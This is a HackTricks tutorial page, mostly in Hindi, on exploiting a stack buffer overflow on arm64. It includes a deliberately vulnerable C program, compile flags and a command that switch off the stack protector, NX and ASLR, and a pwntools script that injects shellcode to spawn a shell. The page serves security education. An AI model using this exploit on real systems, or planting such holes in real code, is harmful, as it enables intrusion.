Stack Shellcode - arm64

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

आर्म64 में एक परिचय पाएं:

pageIntroduction to ARM64v8

कोड

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

कैनरी और एनएक्स के बिना पाई कंपाइल करें:

```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` ## कोई ASLR और कोई canary नहीं - स्टैक ओवरफ्लो

ASLR को रोकने के लिए निषेधित करें:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

bof का ऑफसेट प्राप्त करने के लिए इस लिंक पर क्लिक करें.

शोषण:

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

यहाँ खोजने के लिए एकमात्र "कठिन" चीज यह होगी कि कॉल करने के लिए स्टैक में पता ढूंढें। मेरे मामले में, मैंने gdb का उपयोग करके पता लगाया हुआ पता उपयोग करके एक्सप्लॉइट उत्पन्न किया, लेकिन फिर जब इसे एक्सप्लॉइट किया तो काम नहीं किया (क्योंकि स्टैक पता थोड़ा बदल गया था)।

मैंने उत्पन्न core फ़ाइल (gdb ./bog ./core) खोली और शेलकोड की शुरुआत के वास्तविक पते की जांच की।

Last updated